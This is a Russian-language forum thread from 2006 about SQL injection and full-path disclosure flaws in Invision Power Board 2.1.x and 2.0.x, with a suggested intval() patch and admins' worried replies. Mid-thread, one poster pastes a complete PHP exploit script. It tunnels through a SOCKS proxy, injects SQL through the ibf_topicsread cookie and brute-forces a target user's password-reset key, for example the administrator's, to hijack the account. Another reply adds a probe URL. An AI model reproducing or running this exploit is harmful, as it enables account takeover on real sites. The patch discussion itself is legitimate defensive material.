gta Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 Множественные уязвимости в INVISION POWER BOARD 2.1.x3 крупных уязвимости обнаружили ребята из ru-24 team.SQL-инъекции: 2 штуки, а также раскрытие полного пути. От себя добавлю несколько таких раскрытй в IPB 2.0.х. Подробно читаем далее:1) SQL Injection В скрипте calendar.php в функции cal_event_save( $type='add' ) отсутствует проверка на тип в переменной event_id$event_id = $this->ipsclass->input['event_id'];Далее эта переменная подставляется напрямую в запрос к БД $this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=$event_id" ) ); (и еще один запрос Это позволяет модифицировать запрос к базе данных http://path_to_forum/index.php?act=calendar&code=doedit&type=qqq&event_id=your_SQL Для успешной эксплуатации данной уязвимоти необходимо обладать правами для манипуляции с событиями календаря (добавление, редактирование)Для исправления данной уязвимости достаточно $event_id = $this->ipsclass->input['event_id']; заменить на $event_id = intval($this->ipsclass->input['event_id']); 2) Из-за ошибок в скриптах можно определить полный путь к установочной дирректории форума обратившись к одному из следующих скриптов напрямую: path_to_forum/sources/loginauth/ldap/auth.phppath_to_forum/sources/loginauth/internal/auth.phppath_to_forum/sources/loginauth/external/auth.phppath_to_forum/sources/loginauth/convert/auth.phppath_to_forum/sources/loginauth/convert/auth.php.bakpath_to_forum/sources/lib/search_mysql_man.phppath_to_forum/sources/lib/search_mysql_ftext.phppath_to_forum/sources/classes/post/class_post_edit.phppath_to_forum/sources/classes/post/class_post_new.phppath_to_forum/sources/classes/post/class_post_reply.phppath_to_forum/sources/classes/editor/class_editor_std.phppath_to_forum/sources/classes/editor/class_editor_rte.phppath_to_forum/sources/classes/bbcode/class_bbcode.phppath_to_forum/sources/classes/bbcode/class_bbcode_legacy.phppath_to_forum/sources/acp_loaders/acp_pages_components.phppath_to_forum/ips_kernel/PEAR/Text/Diff3.phppath_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/inline.phppath_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/unified.php Уязвимости найдены в форуме v2.1.3.Возможно уязвимы и другие версии. От себя добавлю, что в ipb 2.0.x в файлах из папки mysql_queries такаяже уязвимость. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 ~* L O V E R *~ Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 Так значит 2.0.х тоже уязвима?! Добавлено:Ждем высказывания официальных лиц по поводу этих исправлений. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 gta Опубликовано 24 Февраля 2006 Автор Жалоба Поделиться Опубликовано 24 Февраля 2006 Так значит 2.0.х тоже уязвима?! Да Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 vasyast Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 "Свежо предание, да верится с трудом" © Чего-то пока не ясно зачем функцию intval() использовать. Разве ID календарного события не целое число? Справка PHP:intvalВозвращает целочисленное значение переменной. Синтаксис :int intval(mixed var, int [base]); Возвращает целочисленное значение переменной var, используя указанное основание для перевода (по умолчанию 10). var может быть скалярного типа. Вы не можете использовать функцию intval() для массивов или объектов. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 gta Опубликовано 24 Февраля 2006 Автор Жалоба Поделиться Опубликовано 24 Февраля 2006 "Свежо предание, да верится с трудом" © Разве ID календарного события не целое число? А разве да? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 vasyast Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 Вообще-то да, календарное событие, его ID, значение целое, поэтому я не вижу смысла в использовании функции. Где смысловая нагрузка? Пример 1: _www.domain.com/forum/index.php?act=calendar&cal_id=1&code=showevent&event_id=17Пример 2: _www.domain.com/forum/index.php?act=calendar&cal_id=1&code=showevent&event_id=24 Оба примера описывают календарное событие. Обратите внимание на event_id=x. Я посмотрел массу форумов, и везде значение целое. Или числа 17, 24 - не целые? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 ~* L O V E R *~ Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 А для 2.0.х какие исправления? Указанных выше строк нет вообще. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 vasyast Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 (изменено) Я еле нашел эту строку в файлах. Интересно, автор сабжа знает в каком файле эта строка? Сорри, это оффтоп. Изменено 24 Февраля 2006 пользователем vasyast Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 gta Опубликовано 24 Февраля 2006 Автор Жалоба Поделиться Опубликовано 24 Февраля 2006 Можно получить ссылку на смену пароля админа или любого юзера.Есть условия: подходящая MySQL версия и включенный CURL-module.<? $proxy="24.48.*.*:**"; ## - your socks 4/5-proxy $host="http://domain.ru"; ## - target forum $login="comod"; ## - login to forum $password="1024768"; ## - pass to forum $cook_name="ibf_topicsread"; ## - target cookie name (default: ibf_topicsread) $topic=5287; ## - any real topyc $target=1; ## - id target to admin or other user that you want to reset password ##### # At first you need to reset pasword for target user. # For example you can reset password for admin (link to "forget Password" add ask to change this password. At the end of you get link to change admin password) #### $len=32; ## 5 for salt ## it's my $ver=1; ## if not wor change to 2 $cookie_file_path = "/tmp/cookie"; ## for my opinuion, you can to set other $agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; ################################################################################ $cookie=""; echo "Login..."; $url=$host."/index.php?act=Login&CODE=01&CookieDate=1"; $reffer=$host."/index.php?act=Login&CODE=00"; $post['UserName']=urlencode($login); $post['PassWord']=urlencode($password); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,$post,""); ###### Login to the forum $cook=getcookiee($result); foreach ($cook as $k=>$v) { $cookie[$k]=$v; } if (!strstr($result,$login)) { echo "error. Invalid Login or Password then Login\n"; exit; } else echo "done\n"; echo "Redirecting to main page..."; $url=$host.urldecode(ExtractString($result,$host,"\" ")); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",""); ###### Redirect to the main page $cook=getcookiee($result); foreach ($cook as $k=>$v) { $cookie[$k]=$v; } if (!strstr($result,$login)) { echo "error. Invalid Login or Password then Redirect\n"; exit; } else echo "done\n"; $reffer=$url; echo "Going to Control Panel..."; $url=$host."/index.php?act=UserCP&CODE=00"; $reffer="";$agent=""; $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",""); ###### Go te the control panel $cook=getcookiee($result); foreach ($cook as $k=>$v) { $cookie[$k]=$v; } if (!strstr($result,$login)) { echo "error. Invalid Login or Password then going to Control\n"; exit; } echo "done\n"; echo "Get table prefix..."; $arr[$topic]=1111111111; $arr['-1) andd']=$topic; $cookie_base=""; foreach ( $cookie as $k=>$v ) { $cookie_base.= $k."=".$v."; "; } $cookie_add=$cookie_base.$cook_name."=".urlencode(serialize($arr)); unset($arr); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add); if (!(strstr($result,"Error"))) { echo "error. Target seems not vuln"; exit; } $pref=ExtractString($result,"SELECT * FROM ","topics"); echo "done prefix: ".$pref."\n"; $al=""; echo "Checking Mysql version...."; $targval=explode(".",$target); $arr[$topic]=1111111111; $arr['-1) and @@version<4/*']=$topic; $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr)); unset($arr); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add); if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver > 4 - GOOD!\n"; else { echo "done Mysql ver < 4. We can use only dos\n"; exit; } echo "Exploiting...."; $sent='%61%3A%32%3A%7B%73%3A'; if ($ver==1) $exp="-999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,null,null,0,0,2,2,1,0,0,0,0,0,1,0,0,0,0,0,0 from ".$pref."validating where member_id=".$target." LIMIT 1/*"; else $exp="-999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,null,null,0,0,2,2,1,0,0,null,null,0,0,1,0 from ".$pref."validating where member_id=".$target." LIMIT 1/*"; $arr[$topic]=1111111111; $arr[$exp]=$topic; $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr)); unset($arr); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add); if (!strstr($result,"different number of columns")) { echo "done\n"; $vid=substr($result,strpos($result,"</a></span>")-32,32); echo "Done\nGoto url: [".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".$vid."] and change user password!\n"; } else { echo "bad Can't find number of colums\n"; } echo "Checking Mysql version 2...."; $targval=explode(".",$target); $arr[$topic]=1111111111; $arr['-1) and @@version<4.1/*']=$topic; $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr)); unset($arr); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add); //echo $result;exit; if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver > 4.1 - GOOD!\n"; else { echo "done Mysql ver < 4.1. We can't use SUBSELECT\n"; exit; } echo "Bruteforcing....\n"; $val=""; for ($j=16;$j<=$len;$j++) { $a2=128; $a1=32; while (($a2-$a1)>=5) { $s=round(($a1+$a2)/2,0); echo $s; $arr[$topic]=1111111111; $arr['-1) and '.$s.'>(select ord(substring(vid,'.$j.',1)) from '.$pref.'validating where member_id='.$target.' LIMIT 1)/*']=$topic; $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr)); unset($arr); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add); if ((strstr($result,"Error"))) { echo "Error querry!\n"; exit; } if (strstr($result,"showtopic")) $a2=$s; else $a1=$s; } for ($i=$a1;$i<=$a2;$i++) { echo $i; $arr[$topic]=1111111111; $arr['-1) and '.$i.'=(select ord(substring(vid,'.$j.',1)) from '.$pref.'validating where member_id='.$target.' LIMIT 1)/*']=$topic; $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr)); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add); // echo urlencode(serialize($arr)).$result;exit; if (strstr($result,"showtopic")) { $val .= chr($i); echo " - Get_symb:[".$j."] ".chr($i)."\n"; break; } } } echo "Done\nGoto url: [".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".strtolower($val)."] and change user password!\n"; function getcookiee($result) { $res = explode("\n",$result); foreach ($res as $k=>$v ) { if (ereg("Set-Cookie",$v)) { $c_a = explode(";",trim(str_replace("Set-Cookie:","",$v))); foreach ($c_a as $k=>$v ) { if (!(ereg("expires",$v))) { $arr=explode("=",trim($v)); $cook[trim($arr[0])]=trim($arr[1]); } } } } return $cook; } function querry($url,$agent,$proxy,$reffer,$cookie_file_path,$post,$cookie) { $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); if ($post!="") { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } curl_setopt ($ch, CURLOPT_TIMEOUT, 120); curl_setopt ($ch, CURLOPT_PROXY, $proxy); curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt ($ch, CURLOPT_FAILONERROR, false); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_REFERER, $reffer); if ($cookie!="") curl_setopt($ch, CURLOPT_COOKIE, $cookie); // else { curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path); // } curl_setopt($ch, CURLOPT_HEADER, 1); $result = curl_exec($ch); $error=curl_errno($ch); curl_close ($ch); if ($error) $result="Fucking Error: ".$error."\r\n"; if ($error==7) $result=$result." Failed to connect() to host or proxy.\r\n"; if ($error==28) $result=$result." Operation timeout. The specified time-out period was reached according to the conditions.\r\n"; if ($error==22) $result=$result." Sorry, Unable to process request at this time, Please try again later.\r\n"; return $result; } function ExtractString($str, $start, $end) { $str_low = ($str); if (strpos($str_low, $start) !== false && strpos($str_low, $end, strpos($str_low, $start)) !== false) { $pos1 = strpos($str_low, $start) + strlen($start); $pos2 = strpos($str_low, $end,strpos($str_low, $start)) - $pos1; return substr($str, $pos1, $pos2); } } ?> Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 vasyast Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 В поисковике нашел ссылки на первоисточник :http://www.Ru24-Team.net/http://damagelab.org/index.php?showtopic=5382 Этому как-то противостоять можно? В реале бы их встретить. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 ~* L O V E R *~ Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 Странно, почему молчит IBR?Свежие уязвимости, а как править неясно... Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 Destruction Опубликовано 24 Февраля 2006 Жалоба Поделиться Опубликовано 24 Февраля 2006 $cook_name="ibf_topicsread"; ## - target cookie name (default: ibf_topicsread)Ну-ну, все сидим на стандартном префиксе - атцы. Прошу прощения, еще в течении недели нет возможности проверить, что сие за пакость. Подожду-ка я ребят из IBR :-) Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 ~* L O V E R *~ Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 Да уж, в последнее время уязвимости сыпятся пачками http://www.rst.void.ru/download/r57ipb2.txthttp://www.rst.void.ru/download/r57ipb.txt Почти все сплоиты основаны на SQL инжекшене. Вот интересно может ли хакер каким либо образом узнать префикс таблицы (нестандартный)? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 Aleks Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 может.. вроде форум всегда в теге sql поддавался и вместо нормального префикса выводил свой Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 ~* L O V E R *~ Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 AleksНесовсем понял, можно поподробнее..? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 angel0 Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 Подскажите а как сменить префикс таблицы на свой если есть уже работающий форум, то есть НЕ В ПРОЦЕССЕ инсталляции. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 Aleks Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 вроде так:если на форуме написатьSELECT * FROM ibf_members;то форум заменит ibf_ на свой префикс вроде так, давно тут такая инфа проскакивала Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 ~* L O V E R *~ Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 AleksНет, не заменяет Так что единственным способом остается устроить дос атаку, тогда высветится ошибка соединения с базой. angel0На http://forums.invisionize.com в разделе Tools есть специальный хак для этого. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 Aleks Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 значит это в 1.3 было, давно.. тогда это ж хорошо. хотя достаточно получить хоть одну SQL ошибку - и префикс как на ладони. например с помощью вышеизложенных багов. http://****/index.php?act=calendar&code=doedit&type=qqq&event_id=%27 и префикс получен раскрытие пути должно лечится (по идее) добавлением в начало каждого файла конструкции if ( ! defined( 'IN_IPB' ) ) { print "<h1>Incorrect access</h1>You cannot access this file directly. If you have recently upgraded, make sure you upgraded all the relevant files."; exit(); } Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 ~* L O V E R *~ Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 например с помощью вышеизложенных багов.http://****/index.php?act=calendar&code=doedit&type=qqq&event_id=%27Странно набирая это на своем форуме, у меня выдается просто сообщение "Обнаружена ошибка и т.д." Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 Aleks Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 Хм... а у меня на форуме вылезла SQL ERROR .. %( хотя кажется понятно.... эошибка выскочит у тех, кому МОЖНО редактировать события календаря. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 ~* L O V E R *~ Опубликовано 25 Февраля 2006 Жалоба Поделиться Опубликовано 25 Февраля 2006 AleksНу дык я же админ, у меня должна была выскочить Да и степень критичности конечно очень маленькая, так как редактировать события календаря могут только админы и модеры. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
0 gta Опубликовано 26 Февраля 2006 Автор Жалоба Поделиться Опубликовано 26 Февраля 2006 а ответа хоть от одного офф. лица мы дождёмся? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Вопрос
gta
Множественные уязвимости в INVISION POWER BOARD 2.1.x
3 крупных уязвимости обнаружили ребята из ru-24 team.
SQL-инъекции: 2 штуки, а также раскрытие полного пути. От себя добавлю несколько таких раскрытй в IPB 2.0.х.
Подробно читаем далее:
1) SQL Injection
В скрипте calendar.php в функции cal_event_save( $type='add' ) отсутствует проверка на тип в переменной event_id
Далее эта переменная подставляется напрямую в запрос к БД
(и еще один запрос Это позволяет модифицировать запрос к базе данных
Для успешной эксплуатации данной уязвимоти необходимо обладать правами для манипуляции с событиями календаря (добавление, редактирование)
Для исправления данной уязвимости достаточно
заменить на
2) Из-за ошибок в скриптах можно определить полный путь к установочной дирректории форума обратившись к одному из следующих скриптов напрямую:
path_to_forum/sources/loginauth/ldap/auth.php
path_to_forum/sources/loginauth/internal/auth.php
path_to_forum/sources/loginauth/external/auth.php
path_to_forum/sources/loginauth/convert/auth.php
path_to_forum/sources/loginauth/convert/auth.php.bak
path_to_forum/sources/lib/search_mysql_man.php
path_to_forum/sources/lib/search_mysql_ftext.php
path_to_forum/sources/classes/post/class_post_edit.php
path_to_forum/sources/classes/post/class_post_new.php
path_to_forum/sources/classes/post/class_post_reply.php
path_to_forum/sources/classes/editor/class_editor_std.php
path_to_forum/sources/classes/editor/class_editor_rte.php
path_to_forum/sources/classes/bbcode/class_bbcode.php
path_to_forum/sources/classes/bbcode/class_bbcode_legacy.php
path_to_forum/sources/acp_loaders/acp_pages_components.php
path_to_forum/ips_kernel/PEAR/Text/Diff3.php
path_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/inline.php
path_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/unified.php
Уязвимости найдены в форуме v2.1.3.Возможно уязвимы и другие версии.
От себя добавлю, что в ipb 2.0.x в файлах из папки mysql_queries такаяже уязвимость.
Ссылка на комментарий
Поделиться на других сайтах
22 ответа на этот вопрос
Рекомендуемые сообщения
Присоединиться к обсуждению
Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.